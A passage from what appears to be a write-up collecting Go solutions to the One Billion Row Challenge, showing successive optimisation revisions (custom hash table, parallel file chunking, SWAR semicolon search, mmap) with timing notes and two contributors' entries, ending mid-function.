 if err != nil && err != io.EOF {
 return err
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 for {
 station, after, hasSemi := bytes.Cut(chunk, []byte(";"))
 if !hasSemi {
 break
 }

 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 }
 }

 readStart = copy(buf, remaining)
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 7: custom hash table

// r7: use custom hash table and hash station name as we look for ';'
//
// ~234ms for 10M rows (4.29x as fast as r1)

package main

import (
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r7(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 type item struct {
 key []byte
 stat *stats
 }
 const numBuckets = 1 << 17 // number of hash buckets (power of 2)
 items := make([]item, numBuckets) // hash buckets, linearly probed
 size := 0 // number of active items in items slice

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
 if err != nil && err != io.EOF {
 return err
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 for {
 const (
 // FNV-1 64-bit constants from hash/fnv.
 offset64 = 14695981039346656037
 prime64 = 1099511628211
 )

 var station, after []byte
 hash := uint64(offset64)
 i := 0
 for ; i < len(chunk); i++ {
 c := chunk[i]
 if c == ';' {
 station = chunk[:i]
 after = chunk[i+1:]
 break
 }
 hash ^= uint64(c) // FNV-1a is XOR then *
 hash *= prime64
 }
 if i == len(chunk) {
 break
 }

 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 hashIndex := int(hash & uint64(numBuckets-1))
 for {
 if items[hashIndex].key == nil {
 // Found empty slot, add new item (copying key).
 key := make([]byte, len(station))
 copy(key, station)
 items[hashIndex] = item{
 key: key,
 stat: &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 },
 }
 size++
 if size > numBuckets/2 {
 panic("too many items in hash table")
 }
 break
 }
 if bytes.Equal(items[hashIndex].key, station) {
 // Found matching slot, add to existing stats.
 s := items[hashIndex].stat
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 break
 }
 // Slot already holds another key, try next slot (linear probe).
 hashIndex++
 if hashIndex >= numBuckets {
 hashIndex = 0
 }
 }
 }

 readStart = copy(buf, remaining)
 }

 stationItems := make([]item, 0, size)
 for _, item := range items {
 if item.key == nil {
 continue
 }
 stationItems = append(stationItems, item)
 }
 sort.Slice(stationItems, func(i, j int) bool {
 return string(stationItems[i].key) < string(stationItems[j].key)
 })

 fmt.Fprint(output, "{")
 for i, item := range stationItems {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := item.stat
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", item.key, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 8: process chunks in parallel

// r8: add some parallelism (but back to non-optimized r1 version)
//
// ~213ms for 10M rows (4.71x as fast as r1)

package main

import (
 "bufio"
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
 "strconv"
 "strings"
)

type r8Stats struct {
 min, max, sum float64
 count int64
}

func r8(inputPath string, output io.Writer) error {
 parts, err := splitFile(inputPath, maxGoroutines)
 if err != nil {
 return err
 }

 resultsCh := make(chan map[string]r8Stats)
 for _, part := range parts {
 go r8ProcessPart(inputPath, part.offset, part.size, resultsCh)
 }

 totals := make(map[string]r8Stats)
 for i := 0; i < len(parts); i++ {
 result := <-resultsCh
 for station, s := range result {
 ts, ok := totals[station]
 if !ok {
 totals[station] = r8Stats{
 min: s.min,
 max: s.max,
 sum: s.sum,
 count: s.count,
 }
 continue
 }
 ts.min = min(ts.min, s.min)
 ts.max = max(ts.max, s.max)
 ts.sum += s.sum
 ts.count += s.count
 totals[station] = ts
 }
 }

 stations := make([]string, 0, len(totals))
 for station := range totals {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := totals[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

func r8ProcessPart(inputPath string, fileOffset, fileSize int64, resultsCh chan map[string]r8Stats) {
 file, err := os.Open(inputPath)
 if err != nil {
 panic(err)
 }
 defer file.Close()
 _, err = file.Seek(fileOffset, io.SeekStart)
 if err != nil {
 panic(err)
 }
 f := io.LimitedReader{R: file, N: fileSize}

 stationStats := make(map[string]r8Stats)

 scanner := bufio.NewScanner(&f)
 for scanner.Scan() {
 line := scanner.Text()
 station, tempStr, hasSemi := strings.Cut(line, ";")
 if !hasSemi {
 continue
 }

 temp, err := strconv.ParseFloat(tempStr, 64)
 if err != nil {
 panic(err)
 }

 s, ok := stationStats[station]
 if !ok {
 s.min = temp
 s.max = temp
 s.sum = temp
 s.count = 1
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 stationStats[station] = s
 }

 resultsCh <- stationStats
}

type part struct {
 offset, size int64
}

func splitFile(inputPath string, numParts int) ([]part, error) {
 const maxLineLength = 100

 f, err := os.Open(inputPath)
 if err != nil {
 return nil, err
 }
 st, err := f.Stat()
 if err != nil {
 return nil, err
 }
 size := st.Size()
 splitSize := size / int64(numParts)

 buf := make([]byte, maxLineLength)

 parts := make([]part, 0, numParts)
 offset := int64(0)
 for i := 0; i < numParts; i++ {
 if i == numParts-1 {
 if offset < size {
 parts = append(parts, part{offset, size - offset})
 }
 break
 }

 seekOffset := max(offset+splitSize-maxLineLength, 0)
 _, err := f.Seek(seekOffset, io.SeekStart)
 if err != nil {
 return nil, err
 }
 n, _ := io.ReadFull(f, buf)
 chunk := buf[:n]
 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 return nil, fmt.Errorf("newline not found at offset %d", offset+splitSize-maxLineLength)
 }
 remaining := len(chunk) - newline - 1
 nextOffset := seekOffset + int64(len(chunk)) - int64(remaining)
 parts = append(parts, part{offset, nextOffset - offset})
 offset = nextOffset
 }
 return parts, nil
}

Solution 9: all optimisations plus parallelisation

// r9: all the previous optimizations plus parallel execution
//
// 43ms for 10M rows (23.3x as fast as r1)

package main

import (
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

type r9Stats struct {
 min, max, count int32
 sum int64
}

func r9(inputPath string, output io.Writer) error {
 parts, err := splitFile(inputPath, maxGoroutines)
 if err != nil {
 return err
 }

 resultsCh := make(chan map[string]*r9Stats)
 for _, part := range parts {
 go r9ProcessPart(inputPath, part.offset, part.size, resultsCh)
 }

 totals := make(map[string]*r9Stats)
 for i := 0; i < len(parts); i++ {
 result := <-resultsCh
 for station, s := range result {
 ts := totals[station]
 if ts == nil {
 totals[station] = s
 continue
 }
 ts.min = min(ts.min, s.min)
 ts.max = max(ts.max, s.max)
 ts.sum += s.sum
 ts.count += s.count
 }
 }

 stations := make([]string, 0, len(totals))
 for station := range totals {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := totals[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

func r9ProcessPart(inputPath string, fileOffset, fileSize int64, resultsCh chan map[string]*r9Stats) {
 file, err := os.Open(inputPath)
 if err != nil {
 panic(err)
 }
 defer file.Close()
 _, err = file.Seek(fileOffset, io.SeekStart)
 if err != nil {
 panic(err)
 }
 f := io.LimitedReader{R: file, N: fileSize}

 type item struct {
 key []byte
 stat *r9Stats
 }
 const numBuckets = 1 << 17 // number of hash buckets (power of 2)
 items := make([]item, numBuckets) // hash buckets, linearly probed
 size := 0 // number of active items in items slice

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
 if err != nil && err != io.EOF {
 panic(err)
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 for {
 const (
 // FNV-1 64-bit constants from hash/fnv.
 offset64 = 14695981039346656037
 prime64 = 1099511628211
 )

 var station, after []byte
 hash := uint64(offset64)
 i := 0
 for ; i < len(chunk); i++ {
 c := chunk[i]
 if c == ';' {
 station = chunk[:i]
 after = chunk[i+1:]
 break
 }
 hash ^= uint64(c) // FNV-1a is XOR then *
 hash *= prime64
 }
 if i == len(chunk) {
 break
 }

 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 hashIndex := int(hash & (numBuckets - 1))
 for {
 if items[hashIndex].key == nil {
 // Found empty slot, add new item (copying key).
 key := make([]byte, len(station))
 copy(key, station)
 items[hashIndex] = item{
 key: key,
 stat: &r9Stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 },
 }
 size++
 if size > numBuckets/2 {
 panic("too many items in hash table")
 }
 break
 }
 if bytes.Equal(items[hashIndex].key, station) {
 // Found matching slot, add to existing stats.
 s := items[hashIndex].stat
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 break
 }
 // Slot already holds another key, try next slot (linear probe).
 hashIndex++
 if hashIndex >= numBuckets {
 hashIndex = 0
 }
 }
 }

 readStart = copy(buf, remaining)
 }

 result := make(map[string]*r9Stats, size)
 for _, item := range items {
 if item.key == nil {
 continue
 }
 result[string(item.key)] = item.stat
 }
 resultsCh <- result
}

Solution 10: all the previous optimizations plus faster semicolon finding and hashing

// r10: all the previous optimizations plus faster semicolon finding and
// hashing
//
// Translated from Java by Menno Finlay-Smits Ideas with ideas taken from
// this fast Java solution:
//
// https://github.com/gunnarmorling/1brc/blob/main/src/main/java/dev/morling/onebrc/CalculateAverage_mtopolnik.java
//
// On my (Ben's) laptop I get these initial results:
//
// $ ./go-1brc -revision=1 ../1brc/data/measurements.txt >out-r1
// Processed 13156.2MB in 1m39.507011009s
// $ ./go-1brc -revision=9 ../1brc/data/measurements.txt >out-r9
// Processed 13156.2MB in 2.893693843s # 34.4x as fast as the r1 above
// $ ./go-1brc -revision=10 ../1brc/data/measurements.txt >out-r10
// Processed 13156.2MB in 2.497241029s # 39.8x as fast as the r1 above

package main

import (
 "bytes"
 "encoding/binary"
 "fmt"
 "io"
 "math/bits"
 "os"
 "sort"
)

const BroadcastSemicolon = 0x3B3B3B3B3B3B3B3B
const Broadcast0x01 = 0x0101010101010101
const Broadcast0x80 = 0x8080808080808080

type r10Stats struct {
 min, max, count int32
 sum int64
}

func r10(inputPath string, output io.Writer) error {
 parts, err := splitFile(inputPath, maxGoroutines)
 if err != nil {
 return err
 }

 resultsCh := make(chan map[string]*r10Stats)
 for _, part := range parts {
 go r10ProcessPart(inputPath, part.offset, part.size, resultsCh)
 }

 totals := make(map[string]*r10Stats)
 for i := 0; i < len(parts); i++ {
 result := <-resultsCh
 for station, s := range result {
 ts := totals[station]
 if ts == nil {
 totals[station] = s
 continue
 }
 ts.min = min(ts.min, s.min)
 ts.max = max(ts.max, s.max)
 ts.sum += s.sum
 ts.count += s.count
 }
 }

 stations := make([]string, 0, len(totals))
 for station := range totals {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := totals[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")

 return nil
}

func r10ProcessPart(inputPath string, fileOffset, fileSize int64, resultsCh chan map[string]*r10Stats) {
 file, err := os.Open(inputPath)
 if err != nil {
 panic(err)
 }
 defer file.Close()
 _, err = file.Seek(fileOffset, io.SeekStart)
 if err != nil {
 panic(err)
 }
 f := io.LimitedReader{R: file, N: fileSize}

 type item struct {
 key []byte
 stat *r10Stats
 }
 const numBuckets = 1 << 17 // number of hash buckets (power of 2)
 items := make([]item, numBuckets) // hash buckets, linearly probed
 size := 0 // number of active items in items slice

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
 if err != nil && err != io.EOF {
 panic(err)
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 chunkLoop:
 for {
 var hash uint64
 var station, after []byte

 if len(chunk) < 8 {
 break chunkLoop
 }

 nameWord0 := binary.NativeEndian.Uint64(chunk)
 matchBits := semicolonMatchBits(nameWord0)
 if matchBits != 0 {
 // semicolon is in the first 8 bytes
 nameLen := calcNameLen(matchBits)
 nameWord0 = maskWord(nameWord0, matchBits)
 station = chunk[:nameLen]
 after = chunk[nameLen+1:]
 hash = calcHash(nameWord0)
 } else {
 // station name is longer so keep looking for the semicolon in
 // uint64 chunks
 nameLen := 8
 hash = calcHash(nameWord0)
 for {
 if nameLen > len(chunk)-8 {
 break chunkLoop
 }
 lastNameWord := binary.NativeEndian.Uint64(chunk[nameLen:])
 matchBits = semicolonMatchBits(lastNameWord)
 if matchBits != 0 {
 nameLen += calcNameLen(matchBits)
 station = chunk[:nameLen]
 after = chunk[nameLen+1:]
 break
 }
 nameLen += 8
 }
 }
 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 hashIndex := int(hash & (numBuckets - 1))
 for {
 if items[hashIndex].key == nil {
 // Found empty slot, add new item (copying key).
 key := make([]byte, len(station))
 copy(key, station)
 items[hashIndex] = item{
 key: key,
 stat: &r10Stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 },
 }
 size++
 if size > numBuckets/2 {
 panic("too many items in hash table")
 }
 break
 }
 if bytes.Equal(items[hashIndex].key, station) {
 // Found matching slot, add to existing stats.
 s := items[hashIndex].stat
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 break
 }
 // Slot already holds another key, try next slot (linear probe).
 hashIndex++
 if hashIndex >= numBuckets {
 hashIndex = 0
 }
 }
 }

 readStart = copy(buf, remaining)
 }

 result := make(map[string]*r10Stats, size)
 for _, item := range items {
 if item.key == nil {
 continue
 }
 result[string(item.key)] = item.stat
 }
 resultsCh <- result
}

func calcNameLen(b uint64) int {
 return (bits.TrailingZeros64(b) >> 3)
}

func calcHash(word uint64) uint64 {
 return bits.RotateLeft64(word*0x51_7c_c1_b7_27_22_0a_95, 17)
}

func semicolonMatchBits(word uint64) uint64 {
 diff := word ^ BroadcastSemicolon
 return (diff - Broadcast0x01) & (^diff & Broadcast0x80)
}

func maskWord(word, matchBits uint64) uint64 {
 mask := matchBits ^ (matchBits - 1)
 return word & mask
}

Alexander Yastrebov

package main

import (
 "bytes"
 "fmt"
 "log"
 "math"
 "os"
 "runtime"
 "sort"
 "sync"
 "syscall"
)

type measurement struct {
 min, max, sum, count int64
}

func main() {
 if len(os.Args) != 2 {
 log.Fatalf("Missing measurements filename")
 }

 measurements := processFile(os.Args[1])

 ids := make([]string, 0, len(measurements))
 for id := range measurements {
 ids = append(ids, id)
 }
 sort.Strings(ids)

 fmt.Print("{")
 for i, id := range ids {
 if i > 0 {
 fmt.Print(", ")
 }
 m := measurements[id]
 fmt.Printf("%s=%.1f/%.1f/%.1f", id, round(float64(m.min)/10.0), round(float64(m.sum)/10.0/float64(m.count)), round(float64(m.max)/10.0))
 }
 fmt.Println("}")
}

func processFile(filename string) map[string]*measurement {
 f, err := os.Open(filename)
 if err != nil {
 log.Fatalf("Open: %v", err)
 }
 defer f.Close()

 fi, err := f.Stat()
 if err != nil {
 log.Fatalf("Stat: %v", err)
 }

 size := fi.Size()
 if size <= 0 || size != int64(int(size)) {
 log.Fatalf("Invalid file size: %d", size)
 }

 data, err := syscall.Mmap(int(f.Fd()), 0, int(size), syscall.PROT_READ, syscall.MAP_SHARED)
 if err != nil {
 log.Fatalf("Mmap: %v", err)
 }

 defer func() {
 if err := syscall.Munmap(data); err != nil {
 log.Fatalf("Munmap: %v", err)
 }
 }()

 return process(data)
}

func process(data []byte) map[string]*measurement {
 nChunks := runtime.NumCPU()

 chunkSize := len(data) / nChunks
 if chunkSize == 0 {
 chunkSize = len(data)
 }

 chunks := make([]int, 0, nChunks)
 offset := 0
 for offset < len(data) {
 offset += chunkSize
 if offset >= len(data) {
 chunks = append(chunks, len(data))
 break
 }

 nlPos := bytes.IndexByte(data[offset:], '\n')
 if nlPos == -1 {
 chunks = append(chunks, len(data))
 break
 } else {
 offset += nlPos + 1
 chunks = append(chunks, offset)
 }
 }

 var wg sync.WaitGroup
 wg.Add(len(chunks))

 results := make([]map[string]*measurement, len(chunks))
 start := 0
 for i, chunk := range chunks {
 go func(data []byte, i int) {
 results[i] = processChunk(data)
 wg.Done()
 }(data[start:chunk], i)
 start = chunk
 }
 wg.Wait()

 measurements := make(map[string]*measurement)
 for _, r := range results {
 for id, rm := range r {
 m := measurements[id]
 if m == nil {
 measurements[id] = rm
 } else {
 m.min = min(m.min, rm.min)
 m.max = max(m.max, rm.max)
 m.sum += rm.sum
 m.count += rm.count
 }
 }
 }
 return measurements
}

func processChunk(data []byte) map[string]*measurement {
 // Use fixed size linear probe lookup table
 const (
 // use power of 2 for fast modulo calculation,
 // should be larger than max number of keys which is 10_000
 entriesSize = 1 << 14

 // use FNV-1a hash
 fnv1aOffset64 = 14695981039346656037
 fnv1aPrime64 = 1099511628211
 )

 type entry struct {
 m measurement
 hash uint64
 vlen int
 value [128]byte // use power of 2 > 100 for alignment
 }
 entries := make([]entry, entriesSize)
 entriesCount := 0

 // keep short and inlinable
 getMeasurement := func(hash uint64, value []byte) *measurement {
 i := hash & uint64(entriesSize-1)
 entry := &entries[i]

 // bytes.Equal could be commented to speedup assuming no hash collisions
 for entry.vlen > 0 && !(entry.hash == hash && bytes.Equal(entry.value[:entry.vlen], value)) {
 i = (i + 1) & uint64(entriesSize-1)
 entry = &entries[i]
 }

 if entry.vlen == 0 {
 entry.hash = hash
 entry.vlen = copy(entry.value[:], value)
 entriesCount++
 }
 return &entry.m
 }

 // assume valid input
 for len(data) > 0 {

 idHash := uint64(fnv1aOffset64)
 semiPos := 0
 for i, b := range data {
 if b == ';' {
 semiPos = i
 break
 }

 // calculate FNV-1a hash
 idHash ^= uint64(b)
 idHash *= fnv1aPrime64
 }

 idData := data[:semiPos]

 data = data[semiPos+1:]

 var temp int64
 // parseNumber
 {
 negative := data[0] == '-'
 if negative {
 data = data[1:]
 }

 _ = data[3]
 if data[1] == '.' {
 // 1.2\n
 temp = int64(data[0])*10 + int64(data[2]) - '0'*(10+1)
 data = data[4:]
 // 12.3\n
 } else {
 _ = data[4]
 temp = int64(data[0])*100 + int64(data[1])*10 + int64(data[3]) - '0'*(100+10+1)
 data = data[5:]
 }

 if negative {
 temp = -temp
 }
 }

 m := getMeasurement(idHash, idData)
 if m.count == 0 {
 m.min = temp
 m.max = temp
 m.sum = temp
 m.count = 1
 } else {
 m.min = min(m.min, temp)
 m.max = max(m.max, temp)
 m.sum += temp
 m.count++
 }
 }

 result := make(map[string]*measurement, entriesCount)
 for i := range entries {
 entry := &entries[i]
 if entry.m.count > 0 {
 result[string(entry.value[:entry.vlen])] = &entry.m
 }
 }
 return result
}

func round(x float64) float64 {
 return roundJava(x*10.0) / 10.0
}

// roundJava returns the closest integer to the argument, with ties
// rounding to positive infinity, see java's Math.round
func roundJava(x float64) float64 {
 t := math.Trunc(x)
 if x < 0.0 && t-x == 0.5 {
 //return t
 } else if math.Abs(x-t) >= 0.5 {
 t += math.Copysign(1, x)
 }

 if t == 0 { // check -0
 return 0.0
 }
 return t
}

// parseNumber reads decimal number that matches "^-?[0-9]{1,2}[.][0-9]" pattern,
// e.g.: -12.3, -3.4, 5.6, 78.9 and return the value*10, i.e. -123, -34, 56, 789.
func parseNumber(data []byte) int64 {
 negative := data[0] == '-'
 if negative {
 data = data[1:]
 }

 var result int64
 switch len(data) {
 // 1.2
 case 3:
 result = int64(data[0])*10 + int64(data[2]) - '0'*(10+1)
 // 12.3
 case 4:
 result = int64(data[0])*100 + int64(data[1])*10 + int64(data[3]) - '0'*(100+10+1)
 }

 if negative {
 return -result
 }
 return result
}

https://github.com/aytechnet/1brc

François Pons

package main

import (
 "bytes"
 "flag"
 "fmt"
 "log"
 "os"
 "runtime"
 "runtime/pprof"
 "slices"
 "sync"
 "syscall"
 "sync/atomic"

 "github.com/aytechnet/decimal"
)

type (
 measurement struct {
 hash atomic.Uint64
 minT atomic.Int64
 maxT atomic.Int64
 sumT atomic.Int64
 countT atomic.Int64
 nameLen int
 nameBuf [208]byte
 }

 measurements struct {
 total atomic.Int64
 numParsers int
 results [capacity]measurement
 }

 job struct {
 maxOffset atomic.Int64
 bufLen int
 buf [bufSize]byte
 }
)

const (
 delta = 439
 capacity = 1 << 16 // must be a power of 2 for modulo calculation

 // buffer size
 bufSize = 512 * 1024 // 1Mb

 // use FNV-1a hash
 fnv1aOffset64 = 14695981039346656037
 fnv1aPrime64 = 1099511628211
)

func main() {
 var mode, filename, cpuprofile string
 var res measurements

 flag.StringVar(&mode, "mode", "default", "Which mode to use among 'mmap', 'seq' and 'default'")
 flag.StringVar(&filename, "file", "", "Measurements file to use")
 flag.StringVar(&cpuprofile, "cpuprofile", "", "Write cpuprofile to file")
 flag.IntVar(&res.numParsers, "parsers", runtime.NumCPU(), "Number of thread to use for parsing")

 flag.Parse()

 if filename == "" {
 flag.Usage()
 os.Exit(1)
 }

 if cpuprofile != "" {
 if f, err := os.Create(cpuprofile); err != nil {
 log.Fatal(err)
 } else {
 pprof.StartCPUProfile(f)
 defer pprof.StopCPUProfile()
 }
 }

 f, err := os.Open(filename)
 if err != nil {
 log.Fatalf("Open: %v", err)
 }
 defer f.Close()

 switch mode {
 case "mmap":
 res.processMmap(f)
 case "seq":
 res.processSeq(f)
 default:
 res.process(f)
 }
}

func (res *measurements) processMmap(f *os.File) {
 jobs := make([]job, res.numParsers)

 fi, err := f.Stat()
 if err != nil {
 log.Fatalf("Stat: %v", err)
 }

 size := fi.Size()
 chunkSize := size/int64(len(jobs))
 if chunkSize <= 100 {
 log.Fatalf("Invalid file size: %d", size)
 }

 data, err := syscall.Mmap(int(f.Fd()), 0, int(size), syscall.PROT_READ, syscall.MAP_SHARED)
 if err != nil {
 log.Fatalf("Mmap: %v", err)
 }

 defer func() {
 if err := syscall.Munmap(data); err != nil {
 log.Fatalf("Munmap: %v", err)
 }
 }()

 offset := chunkSize
 for i := range jobs {
 j := &jobs[i]

 if i == len(jobs)-1 {
 j.maxOffset.Store(size)
 } else {
 j.maxOffset.Store(-offset)
 }
 offset += chunkSize
 }

 var wg sync.WaitGroup

 wg.Add(len(jobs))

 offset = 0
 for i := range jobs {
 go func(i int, offset int64){
 defer wg.Done()

 j := &jobs[i]

 maxOffset := j.maxOffset.Load()
 if maxOffset < 0 {
 maxOffset = -maxOffset

 if nlPos := bytes.IndexByte(data[maxOffset:], '\n'); nlPos >= 0 {
 maxOffset += int64(nlPos+1)
 }
 }

 if offset > 0 {
 if nlPos := bytes.IndexByte(data[offset:maxOffset], '\n'); nlPos >= 0 {
 offset += int64(nlPos+1)
 }
 }

 res.processChunk(data[offset:maxOffset])
 }(i, offset)

 offset += chunkSize
 }

 wg.Wait()

 res.printResults()
}

func (res *measurements) processSeq(f *os.File) {
 jobs := make([]job, res.numParsers)
 free_jobs := make(chan *job, len(jobs))
 ready_jobs := make(chan *job, len(jobs))

 var wg sync.WaitGroup

 wg.Add(len(jobs))

 for i := range jobs {
 j := &jobs[i]

 free_jobs <- j
 go func(){
 for j := range ready_jobs {
 res.processChunk(j.buf[:j.bufLen])
 free_jobs <- j
 }
 wg.Done()
 }()
 }

 var prev_j *job

 pos := 0
 nlPos := 0
 for j := range free_jobs {
 if count, _ := f.Read(j.buf[pos:]); count > 0 {
 // finalize previous line from previous job
 if pos > 0 /* && prev_j != nil */ {
 copy(j.buf[:pos], prev_j.buf[bufSize-pos:])
 }

 // prepare next buffer
 if nlPos = bytes.LastIndexByte(j.buf[:pos+count], '\n'); nlPos < 0 {
 log.Fatalf("buffer too small for a complete line");
 } else {
 pos = pos + count - nlPos - 1
 prev_j = j
 j.bufLen = nlPos + 1
 }

 // spawn a new job on this buffer
 ready_jobs <- j
 } else {
 break
 }
 }

 close(ready_jobs)

 wg.Wait()

 close(free_jobs)

 res.printResults()
}

func (res *measurements) process(f *os.File) {
 jobs := make([]job, res.numParsers)

 fi, err := f.Stat()
 if err != nil {
 log.Fatalf("Stat: %v", err)
 }

 size := fi.Size()
 chunkSize := size/int64(len(jobs))
 if chunkSize <= 100 {
 log.Fatalf("Invalid file size: %d", size)
 }

 offset := chunkSize
 for i := range jobs {
 j := &jobs[i]

 if i == len(jobs)-1 {
 j.maxOffset.Store(size)
 } else {
 j.maxOffset.Store(-offset)
 }
 offset += chunkSize
 }

 var wg sync.WaitGroup

 wg.Add(len(jobs))

 offset = 0
 for i := range jobs {
 go func(i int, offset int64){
 defer wg.Done()

 j := &jobs[i]

 nlSkipFirst := offset > 0

 for {
 maxLen := bufSize
 maxOffset := j.maxOffset.Load()
 if maxOffset < 0 {
 maxOffset = -maxOffset
 }
 if offset + int64(maxLen) > maxOffset {
 maxLen = int(maxOffset - offset)
 }

 if count, _ := f.ReadAt(j.buf[:maxLen], offset); count > 0 {
 pos := 0
 if nlSkipFirst {
 if nlPos := bytes.IndexByte(j.buf[:maxLen], '\n'); nlPos >= 0 {
 pos = nlPos + 1
 jobs[i-1].maxOffset.Store(offset + int64(pos))
 nlSkipFirst = false
 } else {
 log.Fatalf("Unable to seek to next line at job n°%d", i)
 }
 }

 if nlPos := bytes.LastIndexByte(j.buf[pos:maxLen], '\n'); nlPos >= 0 {
 j.bufLen = pos + nlPos + 1
 offset += int64(j.bufLen)

 res.processChunk(j.buf[pos:j.bufLen])
 } else {
 log.Fatalf("Buffer too small at job n°%d", i)
 }
 } else {
 return
 }

 maxOffset = j.maxOffset.Load()
 for maxOffset < 0 {
 maxOffset = j.maxOffset.Load()
 }
 if offset >= maxOffset {
 return
 }
 }
 }(i, offset)

 offset += chunkSize
 }

 wg.Wait()

 res.printResults()
}

func (res *measurements) printResults() {
 log.Printf("Read %d entries", res.total.Load())

 ids := make([]int, 0, capacity)

 for i := range res.results {
 m := &res.results[i]

 if m.nameLen > 0 {
 ids = append(ids, i)
 }
 }

 slices.SortFunc(ids, func(a,b int) int {
 return bytes.Compare(res.results[a].nameBuf[0:res.results[a].nameLen], res.results[b].nameBuf[0:res.results[b].nameLen])
 })

 count := 0
 fmt.Print("{")
 for _, i := range ids {
 m := &res.results[i]

 var buf [128]byte // name is 100 chars max, each 3 decimals is 5 bytes max on output
 b := buf[0:0]

 if count > 0 {
 b = append(b, ',', ' ')
 }

 b = append(b, m.nameBuf[0:m.nameLen]...)
 b = append(b, '=')
 b = decimal.New(m.minT.Load(), -1).BytesToFixed(b, 1)
 b = append(b, '/')
 b = decimal.New(m.sumT.Load(), -1).Div(decimal.NewFromInt(m.countT.Load()-1)).BytesToFixed(b, 1)
 b = append(b, '/')
